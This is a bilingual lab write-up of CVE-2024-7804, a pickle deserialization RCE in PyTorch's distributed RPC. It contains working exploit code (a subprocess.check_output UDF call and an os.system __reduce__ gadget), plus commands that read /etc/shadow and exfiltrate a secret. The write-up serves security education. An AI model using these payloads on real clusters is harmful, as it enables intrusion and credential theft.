joaovicdev
exploitexploitCVE-2024-7804

CVE-2024-7804: PyTorch distributed RPC pickle RCE — the CVE that got withdrawnCVE-2024-7804: RCE via pickle no RPC distribuído do PyTorch — a CVE que foi retirada

A dockerized lab for the PyTorch torch.distributed.rpc deserialization bug — a malicious peer joins the world, ships a pickle payload, and runs code as root on the victim node. Then the advisory was withdrawn as known functionality.Um lab dockerizado para o bug de desserialização do torch.distributed.rpc — um peer malicioso entra no world, manda um payload pickle e executa código como root no nó vítima. Depois disso, o advisory foi retirado como funcionalidade conhecida.

Proof of concept on GitHubProva de conceito no GitHub

Authorization: the lab in this repository is intentionally vulnerable and runs entirely inside an isolated Docker bridge network. Do not deploy it, and only run the exploit against this lab. Anything else is likely a crime.

Summary

CVE-2024-7804 is a deserialization flaw (CWE-502) in PyTorch's distributed RPC framework, torch.distributed.rpc, in torch <= 2.3.1. Every RPC payload arriving at a node is rebuilt with a bare pickle.Unpickler — no allowlist, no integrity check — so any peer that can join the RPC "world" can make the receiving node execute arbitrary code.

It was scored CVSS 3.0 9.8 (Critical). And then it was withdrawn.

That last part is what makes this entry worth writing. The technical behaviour is real and this lab demonstrates it end to end — root command execution on the victim plus file exfiltration. But PyTorch's maintainers (and Red Hat) rejected the advisory on 2 April 2025 as known functionality: RPC is a trusted-peer system by design, so "a peer inside your world can run code" is the documented threat model, not a vulnerability.

ProductPyTorch (torch.distributed.rpc)
Affectedtorch <= 2.3.1
CVSS 3.09.8 Critical (as originally scored)
CWECWE-502 — deserialization of untrusted data
Advisory statusWithdrawn / rejected — published 20 Mar 2025, withdrawn 2 Apr 2025

Impact

PreconditionRequired?
CredentialsNo — RPC rendezvous has no authentication
User interactionNo
Network reach to the rendezvous port (29500 by default)Yes
Ability to join the world (knowing the peer name, rank and world size)Yes

Where it matters in practice is the gap between the design assumption and the deployment reality. A distributed-training cluster — parameter servers, trainers, inference workers — is exactly the kind of thing that ends up on a flat internal network, or on a cloud VPC someone thought was private. In that setting the "trusted peer" boundary is whoever can reach TCP 29500, and the payoff is code execution as the service user: model weights, training data paths, and the cluster's own API keys.

How the vulnerability works

Every RPC call ships a PythonUDF namedtuple carrying func, args and kwargs. On the receiving node, _InternalRPCPickler.deserialize() rebuilds it with an unrestricted unpickler:

torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
    ...
    unpickler = _unpickler(io.BytesIO(binary_data))   # _unpickler = pickle.Unpickler
    ret = unpickler.load()                            # <-- attacker-controlled pickle
    ...

Unpickling is code execution. There are two distinct ways to reach it, and the PoC implements both:

TechniqueWhen code runsWhat it proves
UDF (default)After load(), when the node calls the UDFNothing restricts which callable a peer may name — subprocess.check_output is importable, so it is fair game, and its return value comes back to the attacker
__reduce__ gadget (--reduce)During load(), before the UDF is ever calledThe essence of CWE-502 — the payload fires while the victim is still parsing it

Proof of concept

The victim (lab/server.py) is a plain, trusting RPC worker. It brings up a TensorPipe agent, advertises one benign function, and then sits in rpc.shutdown() — which acts as a barrier, serving incoming calls until every peer leaves:

lab/server.py — the intended API
MODEL_VERSION = "resnet50-v1.3"
 
 
def get_model_version() -> str:
    return MODEL_VERSION

The whole point of the bug is that an attacker is not limited to that.

Technique 1 — the UDF, with the output routed back

The attacker joins as rank 1 and names subprocess.check_output as the function to run. The victim executes it and RPC dutifully returns stdout — remote code execution and exfiltration in a single call:

exploit/exploit.py — UDF technique
out = rpc.rpc_sync(
    args.victim, subprocess.check_output,
    args=(["sh", "-c", args.cmd],),
    kwargs={"stderr": subprocess.STDOUT},
)

Technique 2 — __reduce__, firing at deserialization time

Payload pickles into a call to os.system. The victim runs it the moment it unpickles the message:

exploit/exploit.py — __reduce__ gadget
class Payload:
    def __init__(self, cmd: str):
        self.cmd = cmd
 
    def __call__(self, *args, **kwargs):  # never actually invoked
        return None
 
    def __reduce__(self):
        import os as _os
        return (_os.system, (self.cmd,))

__call__ exists only so torch's client-side callable(func) check passes before the object is serialized. Pickle always prefers __reduce__, so it is __reduce__ that runs on the victim — and the victim's traceback afterwards lands at python_udf.func(...) in internal.py, which is itself the proof that the payload had already been reconstructed and executed by the unsafe unpickler.

Run it

Prerequisites: Docker with the Compose plugin. CPU-only, no GPU, works on amd64 and arm64.

1. Start the vulnerable victim — rank 0, waiting for a peer:

docker compose up --build -d victim

2. Fire the exploit — the default technique runs a command on the victim and brings its stdout back:

docker compose run --rm attacker
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====

Root on the victim, plus a file the node was never meant to hand out.

3. Or prove deserialization-time execution — with --reduce the command runs on the victim, so the output shows up in its log, not the attacker's:

docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim

Custom command:

docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"

Tear it down with docker compose down.

Mitigation

Since the advisory was withdrawn, there is no patch to apply — the guidance is architectural, and it is PyTorch's own:

  • Only run RPC between mutually trusted nodes on a trusted network. That is the documented threat model; treat it as a hard requirement, not advice.
  • Never expose the rendezvous port (29500 by default) to an untrusted network. It is unauthenticated by design.
  • Treat any pickle-based protocol as remote code execution. Authenticate and encrypt peers (mTLS), and isolate RPC workers so a compromised rank cannot reach the rest of the estate.

References

Autorização: o lab deste repositório é propositalmente vulnerável e roda inteiramente dentro de uma rede bridge isolada do Docker. Não faça deploy dele, e rode o exploit apenas contra este lab. Qualquer outra coisa provavelmente é crime.

Resumo

A CVE-2024-7804 é uma falha de desserialização (CWE-502) no framework de RPC distribuído do PyTorch, o torch.distributed.rpc, em torch <= 2.3.1. Todo payload de RPC que chega em um nó é reconstruído com um pickle.Unpickler cru — sem allowlist, sem verificação de integridade — então qualquer peer capaz de entrar no "world" de RPC pode fazer o nó receptor executar código arbitrário.

Recebeu nota CVSS 3.0 9.8 (Crítica). E então foi retirada.

É essa última parte que faz esta entrada valer a pena. O comportamento técnico é real e este lab o demonstra de ponta a ponta — execução de comandos como root na vítima mais exfiltração de arquivo. Mas os mantenedores do PyTorch (e a Red Hat) rejeitaram o advisory em 2 de abril de 2025 como funcionalidade conhecida: o RPC é, por projeto, um sistema de peers confiáveis, então "um peer dentro do seu world consegue rodar código" é o modelo de ameaça documentado, não uma vulnerabilidade.

ProdutoPyTorch (torch.distributed.rpc)
Afetadastorch <= 2.3.1
CVSS 3.09.8 Crítica (na pontuação original)
CWECWE-502 — desserialização de dados não confiáveis
Status do advisoryRetirado / rejeitado — publicado em 20 mar 2025, retirado em 2 abr 2025

Impacto

Pré-condiçãoNecessária?
CredenciaisNão — o rendezvous do RPC não tem autenticação
Interação do usuárioNão
Alcance de rede até a porta de rendezvous (29500 por padrão)Sim
Conseguir entrar no world (saber o nome do peer, o rank e o world size)Sim

Onde isso importa na prática é na distância entre a premissa de projeto e a realidade do deploy. Um cluster de treinamento distribuído — parameter servers, trainers, workers de inferência — é exatamente o tipo de coisa que acaba em uma rede interna plana, ou em uma VPC de nuvem que alguém achou que fosse privada. Nesse cenário, a fronteira do "peer confiável" é quem consegue alcançar a TCP 29500, e o prêmio é execução de código como o usuário do serviço: pesos de modelo, caminhos dos dados de treino e as próprias API keys do cluster.

Como a vulnerabilidade funciona

Toda chamada RPC transporta uma namedtuple PythonUDF carregando func, args e kwargs. No nó receptor, o _InternalRPCPickler.deserialize() a reconstrói com um unpickler irrestrito:

torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
    ...
    unpickler = _unpickler(io.BytesIO(binary_data))   # _unpickler = pickle.Unpickler
    ret = unpickler.load()                            # <-- attacker-controlled pickle
    ...

Desserializar pickle é executar código. Há dois caminhos distintos até lá, e a PoC implementa os dois:

TécnicaQuando o código rodaO que prova
UDF (padrão)Depois do load(), quando o nó chama a UDFNada restringe qual callable um peer pode nomear — subprocess.check_output é importável, então vale, e o retorno dele volta para o atacante
Gadget __reduce__ (--reduce)Durante o load(), antes de a UDF sequer ser chamadaA essência do CWE-502 — o payload dispara enquanto a vítima ainda está lendo a mensagem

Prova de conceito

A vítima (lab/server.py) é um worker de RPC comum e confiante. Ele sobe um agente TensorPipe, anuncia uma função inofensiva e então fica parado no rpc.shutdown() — que funciona como uma barreira, atendendo chamadas que chegam até que todos os peers saiam:

lab/server.py — a API pretendida
MODEL_VERSION = "resnet50-v1.3"
 
 
def get_model_version() -> str:
    return MODEL_VERSION

A graça toda do bug é que o atacante não fica limitado a isso.

Técnica 1 — a UDF, com a saída roteada de volta

O atacante entra como rank 1 e nomeia subprocess.check_output como a função a executar. A vítima roda e o RPC obedientemente devolve o stdout — execução remota de código e exfiltração em uma única chamada:

exploit/exploit.py — técnica da UDF
out = rpc.rpc_sync(
    args.victim, subprocess.check_output,
    args=(["sh", "-c", args.cmd],),
    kwargs={"stderr": subprocess.STDOUT},
)

Técnica 2 — __reduce__, disparando no momento da desserialização

O Payload é serializado como uma chamada a os.system. A vítima o executa no instante em que desserializa a mensagem:

exploit/exploit.py — gadget __reduce__
class Payload:
    def __init__(self, cmd: str):
        self.cmd = cmd
 
    def __call__(self, *args, **kwargs):  # never actually invoked
        return None
 
    def __reduce__(self):
        import os as _os
        return (_os.system, (self.cmd,))

O __call__ existe apenas para que a checagem callable(func) do torch do lado do cliente passe antes de o objeto ser serializado. O pickle sempre prefere o __reduce__, então é o __reduce__ que roda na vítima — e o traceback que a vítima cospe depois cai no python_udf.func(...) do internal.py, o que é justamente a prova de que o payload já tinha sido reconstruído e executado pelo unpickler inseguro.

Rodando o lab

Pré-requisitos: Docker com o plugin Compose. Só CPU, sem GPU, funciona em amd64 e arm64.

1. Suba a vítima vulnerável — rank 0, esperando um peer:

docker compose up --build -d victim

2. Dispare o exploit — a técnica padrão roda um comando na vítima e traz o stdout de volta:

docker compose run --rm attacker
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====

Root na vítima, mais um arquivo que o nó nunca deveria entregar.

3. Ou prove a execução no momento da desserialização — com --reduce o comando roda na vítima, então a saída aparece no log dela, não no do atacante:

docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim

Comando customizado:

docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"

Derrube o ambiente com docker compose down.

Mitigação

Como o advisory foi retirado, não há patch a aplicar — a orientação é arquitetural, e é a do próprio PyTorch:

  • Só rode RPC entre nós mutuamente confiáveis, em uma rede confiável. Esse é o modelo de ameaça documentado; trate-o como requisito rígido, não como conselho.
  • Nunca exponha a porta de rendezvous (29500 por padrão) a uma rede não confiável. Ela é, por projeto, sem autenticação.
  • Trate qualquer protocolo baseado em pickle como execução remota de código. Autentique e criptografe os peers (mTLS), e isole os workers de RPC para que um rank comprometido não alcance o resto do parque.

Referências